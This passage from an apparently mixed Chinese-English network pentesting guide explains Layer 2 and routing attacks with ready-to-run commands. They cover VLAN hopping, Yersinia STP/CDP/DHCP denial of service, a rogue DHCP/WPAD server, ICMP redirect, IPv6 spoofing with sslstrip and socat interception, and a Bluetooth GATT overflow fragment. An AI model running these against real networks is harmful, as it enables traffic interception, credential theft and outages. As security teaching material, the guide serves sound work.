root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

讨论中的攻击 Dynamic Trunking and creating virtual interfaces and discovering hosts inside 其他 VLANs 会被该工具 自动执行： https://github.com/nccgroup/vlan-hopping—frogger

Double Tagging

如果攻击者知道受害主机的 MAC, IP and VLAN ID of the victim host 的值，他可以尝试对一个帧进行 double tag a frame，同时标上自己的 VLAN 和受害者的 VLAN 并发送数据包。由于 victim won’t be able to connect back，因此攻击者的 best option for the attacker is communicate via UDP，对那些可以执行有趣操作的协议（例如 SNMP）进行通信。

另一种选择是发起一个 TCP port scan spoofing an IP controlled by the attacker and accessible by the victim（可能通过 internet）。然后，攻击者可以在其拥有的第二台主机上嗅探，查看是否收到来自受害者的某些数据包。

要执行此攻击，你可以使用 scapy：pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

如果你可以访问与你直接相连的 switch，就有能力bypass VLAN segmentation。只需将端口切换为 trunk 模式（也称 trunk），创建带有目标 VLAN ID 的虚拟接口，并配置 IP 地址。可以尝试通过 DHCP 动态请求地址，或者静态配置，视具体情况而定。

Lateral VLAN Segmentation Bypass

Layer 3 Private VLAN Bypass

在某些环境中，例如 guest wireless networks，会启用 port isolation（也称 private VLAN）设置，以防止连接到无线 access point 的客户端彼此直接通信。然而，存在一种可以规避这些隔离措施的技术。该技术利用网络 ACLs 的缺失或配置不当，使得 IP 包可以通过 router 路由到同一网络上的另一个客户端。

该攻击通过构造一个“携带目标客户端 IP 地址但使用 router 的 MAC 地址”的数据包来执行。这样会导致 router 错误地将数据包转发给目标客户端。该方法类似于 Double Tagging Attacks 中的思路，即利用可访问受害者的主机来利用该安全缺陷。

攻击关键步骤：

1. Crafting a Packet： 构造一个数据包，使其包含目标客户端的 IP 地址，但使用 router 的 MAC 地址。
2. Exploiting Router Behavior： 将该数据包发送到 router，由于配置原因，router 会将数据包重定向到目标客户端，从而绕过 private VLAN 提供的隔离。

VTP Attacks

VTP (VLAN Trunking Protocol) 用于集中管理 VLAN。它使用 revision numbers 来维护 VLAN 数据库的完整性；任何修改都会使该数字递增。switches 会采用具有更高 revision number 的配置，从而更新它们自己的 VLAN 数据库。

VTP Domain Roles

• VTP Server: 管理 VLAN（创建、删除、修改）。它向域内成员广播 VTP announcements。
• VTP Client: 接收 VTP announcements 以同步其 VLAN 数据库。该角色不允许本地修改 VLAN 配置。
• VTP Transparent: 不参与 VTP 更新，但会转发 VTP announcements。它不受 VTP 攻击影响，其 revision number 保持为 0。

VTP Advertisement Types

• Summary Advertisement: 由 VTP server 每 300 秒广播一次，携带域的基本信息。
• Subset Advertisement: 在 VLAN 配置发生更改后发送。
• Advertisement Request: 由 VTP client 发出以请求 Summary Advertisement，通常在检测到更高的 configuration revision number 时触发。

VTP 的漏洞只能通过 trunk ports 利用，因为 VTP announcements 仅在这些端口上传播。在 DTP 攻击 后，场景可能会转向针对 VTP 的攻击。像 Yersinia 这样的工具可以用来发起 VTP 攻击，目标是清除 VLAN 数据库，从而破坏网络。

注：此处讨论的是 VTP version 1 (VTPv1)。

yersinia -G # Launch Yersinia in graphical mode

在 Yersinia 的图形模式中，选择 deleting all VTP vlans 选项以清空 VLAN 数据库。

STP Attacks

如果你无法在接口上捕获 BPDU 帧，成功进行 STP attack 的可能性很小。

STP BPDU DoS

发送大量 BPDUs TCP (Topology Change Notification) 或 Conf (the BPDUs that are sent when the topology is created) 会导致交换机过载并停止正常工作。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

当发送 TCP 时，交换机的 CAM table 会在 15s 内被清空。随后，如果你持续发送这类数据包，CAM table 将不断重置（或每 15segs），当它重置时，交换机会表现得像一个 hub。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

攻击者模拟交换机的行为以成为网络的 STP root。然后，更多的数据会通过攻击者转发。当你连接到两台不同的交换机时，这很有用。
这通过发送 BPDUs CONF packets 来实现，声称 priority 值低于当前 root switch 的实际值。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

如果攻击者连接到 2 台交换机，他可以成为新树的 root，并且这两台交换机之间的所有流量将通过他（a MITM attack will be performed）。

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP 攻击

CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要，允许它们 识别彼此并共享配置详情。

被动数据收集

CDP 被配置为通过所有端口广播信息，这可能导致安全风险。攻击者在连接到交换机端口后，可能会部署网络嗅探器，如 Wireshark, tcpdump, 或 Yersinia。此举可泄露关于网络设备的敏感信息，包括其型号和运行的 Cisco IOS 版本。攻击者随后可能针对识别出的 Cisco IOS 版本中的特定漏洞发起攻击。

诱发 CDP 表泛滥

更具侵略性的方法是通过淹没交换机内存、伪装成合法的 CISCO 设备来发起 Denial of Service (DoS) 攻击。下面是使用 Yersinia（一款用于测试的网络工具）启动此类攻击的命令序列：

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

在这种攻击期间，交换机的 CPU 和 CDP 邻居表会承受很大负载，因资源过度消耗而经常出现所谓的 “网络瘫痪”。

CDP Impersonation Attack

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP 攻击与 VoIP Hopper 工具

VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks.

The tool voiphopper is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network’s VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.

VoIP Hopper offers three modes for the Cisco Discovery Protocol (CDP):

1. Sniff Mode (-c 0): 分析网络数据包以识别 VLAN ID。
2. Spoof Mode (-c 1): 生成自定义数据包以模拟真实 VoIP 设备。
3. Spoof with Pre-made Packet Mode (-c 2): 发送与特定 Cisco IP 电话型号相同的数据包。

The preferred mode for speed is the third one. It requires specifying:

• The attacker’s network interface (-i parameter).
• The name of the VoIP device being emulated (-E parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address).

In corporate settings, to mimic an existing VoIP device, one might:

• Inspect the MAC label on the phone.
• Navigate the phone’s display settings to view model information.
• Connect the VoIP device to a laptop and observe CDP requests using Wireshark.

An example command to execute the tool in the third mode would be:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP 攻击

枚举

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Two types of DoS 可以针对 DHCP 服务器 发动。第一个方法是模拟足够多的伪主机以使用所有可能的 IP 地址。
该攻击仅在你能够看到 DHCP 服务器的响应并完成协议（Discover (Comp) –> Offer (server) –> Request (Comp) –> ACK (server)）时有效。例如，在 Wifi networks 中这是不可能的。

另一种对 DHCP 进行 DoS 的方法是发送一个 DHCP-RELEASE packet，使用每个可能的 IP 作为源地址。然后，服务器会认为所有人都已释放这些 IP。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

更自动化的方法是使用工具 DHCPing

你可以使用前面提到的 DoS 攻击迫使客户端在环境中获取新的 lease，并耗尽合法服务器使其无响应。因此，当合法方尝试重新连接时，你可以提供下一节攻击中提到的恶意值。

设置恶意值

可以使用位于 /usr/share/responder/DHCP.py 的 DHCP 脚本来设置一个恶意 DHCP 服务器。这对于网络攻击很有用，例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭证。然而，设置恶意网关效果较差，因为它只允许捕获来自客户端的出站流量，会错过真实网关的响应。相反，建议设置恶意 DNS 或 WPAD 服务器以获得更有效的攻击。

下面是配置恶意 DHCP 服务器的命令选项：

• 我们的 IP 地址（网关通告）：使用 -i 10.0.0.100 来宣告你的机器 IP 作为网关。
• 本地 DNS 域名：可选地使用 -d example.org 设置本地 DNS 域名。
• 原始路由器/网关 IP：使用 -r 10.0.0.1 指定合法路由器或网关的 IP 地址。
• 主 DNS 服务器 IP：使用 -p 10.0.0.100 设置你控制的恶意 DNS 服务器的 IP。
• 备用 DNS 服务器 IP：可选地使用 -s 10.0.0.1 设置备用 DNS 服务器 IP。
• 本地网络掩码：使用 -n 255.255.255.0 定义本地网络的掩码。
• DHCP 流量接口：使用 -I eth1 在指定的网络接口上监听 DHCP 流量。
• WPAD 配置地址：使用 -w “http://10.0.0.100/wpad.dat” 设置 WPAD 配置地址，辅助拦截 Web 流量。
• 伪造默认网关 IP：包含 -S 来伪造默认网关 IP 地址。
• 响应所有 DHCP 请求：包含 -R 使服务器响应所有 DHCP 请求，但注意这会产生噪音且可能被检测到。

通过正确使用这些选项，可以建立一个恶意 DHCP 服务器以有效拦截网络流量。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP 攻击

以下是一些可用于针对 802.1X 实现的攻击策略：

• 通过 EAP 主动进行 brute-force 密码破解
• 使用畸形的 EAP 内容攻击 RADIUS 服务器 **(exploits)
• 捕获 EAP 消息并进行离线密码破解 (EAP-MD5 and PEAP)
• 强制使用 EAP-MD5 认证以绕过 TLS 证书验证
• 在使用 hub 或类似设备认证后注入恶意网络流量

如果攻击者位于受害者和认证服务器之间，他可能会尝试将认证协议降级（如有必要）到 EAP-MD5 并捕获认证尝试。然后，他可以使用以下方式对其进行 brute-force：

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) 攻击

FHRP (First Hop Redundancy Protocol) 是一类网络协议，旨在 创建一个热备路由系统。使用 FHRP，物理路由器可以被合并为一个逻辑设备，从而提高容错性并有助于分摊负载。

Cisco Systems 工程师开发了两种 FHRP 协议：GLBP 和 HSRP。

GLBP & HSRP Attacks

RIP

已知存在三种 Routing Information Protocol (RIP) 的版本：RIP、RIPv2 和 RIPng。RIP 和 RIPv2 使用 UDP 在端口 520 向对端发送数据报，而 RIPng 则通过 IPv6 多播向 UDP 端口 521 广播数据报。RIPv2 引入了对 MD5 认证的支持。另一方面，RIPng 并不包含本地认证，而是依赖 IPv6 中可选的 IPsec AH 和 ESP 头。

• RIP and RIPv2: 通信通过端口 520 的 UDP 数据报进行。
• RIPng: 使用 UDP 端口 521 通过 IPv6 多播广播数据报。

注意 RIPv2 支持 MD5 认证，而 RIPng 不包含本地认证，依赖 IPv6 中的 IPsec AH 和 ESP 头。

EIGRP 攻击

EIGRP (Enhanced Interior Gateway Routing Protocol) 是一种动态路由协议。它是一个距离向量协议。 如果没有 认证 和被动接口配置，入侵者 可以干扰 EIGRP 路由并导致 路由表中毒。此外，EIGRP 网络（即自治系统）是扁平的，并没有分割成任何区域。如果攻击者注入一条路由，这条路由很可能会在整个自治 EIGRP 系统中传播。

攻击 EIGRP 系统需要与合法的 EIGRP 路由器建立邻居关系，这将开启许多可能性，从基本侦察到各种注入。

FRRouting 允许你部署一个支持 BGP、OSPF、EIGRP、RIP 等协议的虚拟路由器。你只需将其部署到攻击者的系统上，就可以在路由域中假扮成合法路由器。

EIGRP Attacks

Coly 能拦截 EIGRP (Enhanced Interior Gateway Routing Protocol) 广播。它还允许注入数据包，可用于更改路由配置。

OSPF

在 Open Shortest Path First (OSPF) 协议中，通常使用 MD5 认证来确保路由器之间的通信安全。然而，这一安全措施可以被像 Loki 和 John the Ripper 这样的工具破解。这些工具能够捕获并破解 MD5 哈希，从而暴露认证密钥。一旦得到该密钥，就可以用它来引入新的路由信息。路由参数的配置和被破解密钥的设置分别通过 Injection 和 Connection 选项卡完成。

• 捕获并破解 MD5 哈希： 使用像 Loki 和 John the Ripper 这样的工具。
• 配置路由参数： 通过 Injection 选项卡完成。
• 设置被破解的密钥： 在 Connection 选项卡下配置该密钥。

Other Generic Tools & Sources

• Above: 用于扫描网络流量并发现漏洞的工具
• 你可以在 here 找到一些关于网络攻击的更多信息。

Spoofing

攻击者通过发送伪造的 DHCP 响应，为网络中新成员配置所有网络参数（GW、IP、DNS）。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

查看previous section。

ICMPRedirect

ICMP Redirect 是通过发送一个 ICMP packet type 1 code 5，表明 attacker 是到达某个 IP 的最佳路径。然后，当 victim 想要联系该 IP 时，会通过 attacker 发送数据包。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

攻击者会解析受害者请求的部分（或全部）域名。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

使用 dnsmasq 配置自己的 DNS

apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1   domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

本地网关

系统和网络通常存在多条可达路径。在构建本地网络中 MAC addresses 列表后，使用 gateway-finder.py 来识别支持 IPv4 转发的主机。

</details>


### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

当 DNS 查询失败用于本地主机解析时，Microsoft 系统依赖 **Link-Local Multicast Name Resolution (LLMNR)** 和 **NetBIOS Name Service (NBT-NS)**。同样，**Apple Bonjour** 和 **Linux zero-configuration** 实现使用 **Multicast DNS (mDNS)** 来发现网络内的系统。由于这些协议没有身份验证且通过 **UDP** 广播消息运行，攻击者可以利用它们将用户重定向到恶意服务。

你可以使用 Responder 发送伪造响应，冒充主机查找的服务。\
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

**浏览器通常使用 Web Proxy Auto-Discovery (WPAD) 协议来自动获取代理设置**。这涉及从服务器获取配置详细信息，通常通过像 "http://wpad.example.org/wpad.dat" 这样的 URL。客户端发现该服务器可以通过多种机制发生：

- 通过 **DHCP**，客户端利用特殊的 252 条目进行发现。
- 通过 **DNS**，在本地域内搜索名为 _wpad_ 的主机名。
- 通过 **Microsoft LLMNR and NBT-NS**，作为 DNS 查询失败时的回退机制。

工具 Responder 利用该协议充当 **malicious WPAD server**。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。

### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)

你可以在网络中提供不同的服务以尝试 **trick a user** 输入一些 **plain-text credentials**。**More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**

### IPv6 Neighbor Spoofing

该攻击与 ARP Spoofing 非常相似，但发生在 IPv6 环境中。你可以让 victim 认为 GW 的 IPv6 地址使用的是攻击者的 MAC。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

</details>


### Active Discovery Notes

请注意，当向没有所请求端口的设备发送 UDP 包时，会收到一个 ICMP（Port Unreachable）响应。

### **ARP discover**

ARP 包用于发现网络中正在使用的 IP。PC 需要对每个可能的 IP 地址发送请求，只有正在使用的地址会响应。

### **mDNS (multicast DNS)**

Bettercap 发送 MDNS 请求（每 X ms）询问 **\_services\_.dns-sd.\_udp.local**，看到该包的机器通常会回答此请求。然后，它只查找对 "services" 有响应的机器。

**Tools**

- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder

### **NBNS (NetBios Name Server)**

Bettercap 向端口 137/UDP 广播数据包，询问名称 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"。

### **SSDP (Simple Service Discovery Protocol)**

Bettercap 广播 SSDP 包以搜索各种服务（UDP 端口 1900）。

### **WSD (Web Service Discovery)**

Bettercap 广播 WSD 包以搜索服务（UDP 端口 3702）。


## Bluetooth (L2CAP/ATT/GATT) Attacks

- Android Fluoride exposes services over L2CAP PSMs (e.g., SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F). Services register via:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);

acl  = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl  = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt  = b'\x20'  # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite